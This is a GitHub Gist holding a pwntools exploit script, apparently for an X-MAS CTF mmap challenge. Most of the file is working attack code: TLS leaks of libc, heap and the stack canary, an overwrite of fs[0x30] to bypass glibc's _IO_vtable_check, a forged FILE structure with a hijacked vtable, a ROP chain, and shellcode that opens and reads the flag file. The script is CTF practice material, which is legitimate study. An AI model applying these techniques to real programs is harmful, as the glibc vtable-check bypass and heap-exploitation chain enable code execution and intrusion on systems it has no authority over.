Last active
December 19, 2020 08:10
-
-
Save hkraw/ee81f2125ec661a6ef7391d96c8254b0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from IO_FILE import * | |
from time import sleep | |
import random | |
import subprocess | |
# Util | |
def Read(size,data): | |
io.sendlineafter('choice = ','3') | |
io.sendlineafter('sz = ',f'{size}') | |
io.sendlineafter('data = ',data) | |
def Write(Size): | |
io.sendlineafter('choice = ','2') | |
io.sendlineafter('sz = ',f'{Size}') | |
def Mmap(MMAP_ARGS): | |
io.sendlineafter('choice = ','1') | |
for each in MMAP_ARGS: | |
io.sendlineafter('= ',f'{each}') | |
def lmao(val, r_bits, max_bits): | |
return ((val & (2**max_bits-1)) >> r_bits%max_bits)| (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) | |
def ayyyyylmao(val, r_bits, max_bits): | |
return (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) | |
# Addr | |
main_arena = 0x1ebb80 | |
_IO_2_1_stderr_ = 0x1ec5c0 | |
_IO_file_jumps = 0x1ed4a0 | |
setcontext = 0x580a0 | |
# Gadget | |
L_leave_ret = 0x000e67ec | |
L_pop_rdi = 0x0015d1cb | |
L_pop_rsi = 0x0015338b | |
L_pop_rdx = 0x00137c69 # pop rdx ; pop r12 ; ret ; | |
L_pop_rax = 0x0004a709 | |
L_syscall = 0x000e7259 | |
# Hack | |
def Hack(): | |
global io | |
Mmap([0x7ff7ff7ff00,0x3000,7,0x21,0xffffffff,0]) # Get rwx page above .tls | |
Read(0x130,b'A'*0x130) | |
Mmap([0,0x3000,3,0x21,0xffffffff,0]) # Get page before rwx page. | |
Write( (0x26000+0x3000) ) # Arbitrary leak | |
io.recvn(0x266f0) | |
# Leaking libc - heap - stack_cookie from .tls | |
heap_base = u64(io.recvn(0x10)[0x7:0xf]) - 0x10 | |
libc_base = u64(io.recvn(0x10)[0x7:0xf]) - main_arena | |
stack_cookie = u64(io.recvn(0x67)[0x5f:0x67]) | |
print(hex(libc_base)) | |
print(hex(heap_base)) | |
shellcode = asm(f''' | |
mov rax, 2 | |
mov rdi, {libc_base-0x29000} | |
mov rsi, 0 | |
mov rdx, 0x100 | |
syscall | |
mov rbx, rax | |
mov rdi, rbx | |
mov rax, 0 | |
mov rsi, {libc_base-0x13000} | |
mov rdx, 0x100 | |
syscall | |
mov rax, 1 | |
mov rdi, 1 | |
syscall | |
''',arch='amd64') | |
# Overwrite fs[0x30] with _IO_vtable_check | |
# Here's the vtable check source. I found out in gdb by tracing this and reading source, "flag" value will contain value stored in fs[0x30]. | |
# Overwrite it with &_IO_vtable_check and bypass the vtable check, oof | |
''' | |
void attribute_hidden | |
_IO_vtable_check (void) | |
{ | |
#ifdef SHARED | |
/* Honor the compatibility flag. */ | |
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); | |
#ifdef PTR_DEMANGLE | |
PTR_DEMANGLE (flag); | |
#endif | |
if (flag == &_IO_vtable_check) | |
return; | |
/* In case this libc copy is in a non-default namespace, we always | |
need to accept foreign vtables because there is always a | |
possibility that FILE * objects are passed across the linking | |
boundary. */ | |
''' | |
payload_1 = (b'/home/ctf/flag.txt\0'.ljust(0x13000,b'A') + shellcode.ljust(0x136b0,b'A') +p64(libc_base+0x1ec4a0)+p64(libc_base+0x1f04c0)+ p64(0) + p64(libc_base+0x19e4c0)+p64(libc_base+0x19eac0)+p64(libc_base+0x19f3c0)+p64(0)*2+p64(heap_base + 0x10)+p64(libc_base + main_arena) +p64(0)*7+p64(0)*3 + p64(0)*3 + p64(stack_cookie)+p64(libc_base+0x90ce0) ) | |
Read(len(payload_1),payload_1) | |
# Mmap page before heap, because i do File exploit, the file opened by program at first, the structured is stored in heap. | |
Mmap([hex(heap_base-0x9000)[2:],0x2000,3,0x21,0xffffffff,0]) | |
_IO_FILE_stream = IO_FILE_plus(arch=64) | |
# Fake file stream. We overwrite vtable with anything we want. The check is bypassed now, oof | |
fake_stream = _IO_FILE_stream.construct( | |
flags=0xfbad208b,read_ptr=heap_base+0x480,read_end=heap_base+0x480, | |
read_base=heap_base+0x480,write_base=heap_base+0x480,write_end=heap_base+0x480, | |
buf_base=heap_base+0x480,buf_end=heap_base+0x480,fileno=0,chain=libc_base+_IO_2_1_stderr_,lock=heap_base, | |
vtable=heap_base) | |
# Actually this ROP chain is not needed at all. I just didn't remove it because i had 3-4 different exploits and none of them work remote. | |
# Remeber that we allocated rwx page. We just call that rwx page lol, oof | |
payload = ( | |
(p64(libc_base+L_pop_rdi)+p64(libc_base+L_pop_rdi)+p64(libc_base+L_pop_rdi)+\ | |
p64(libc_base+L_pop_rsi)+p64(heap_base)+\ | |
p64(libc_base+L_pop_rdx)+p64(0x1000)+p64(0)+\ | |
p64(libc_base+L_pop_rax)+p64(0)+\ | |
p64(libc_base+L_syscall) ).ljust(0x60,b'\0')+p64(libc_base-0x16000) ).ljust(0x258,b'\0') | |
print("Sending fake file") | |
Read(0x10000,(b'A'*0x9000+payload+p64(0x1e1)+b'\0'*0x40+fake_stream ).ljust(0x10000,b'\0')) | |
# Pwn | |
if __name__=='__main__': | |
io = process('./chall') | |
# io = remote('challs.xmas.htsp.ro',2003) #MMAP 1 | |
# io = remote('challs.xmas.htsp.ro',2009) #MMAP 2 | |
Hack() | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment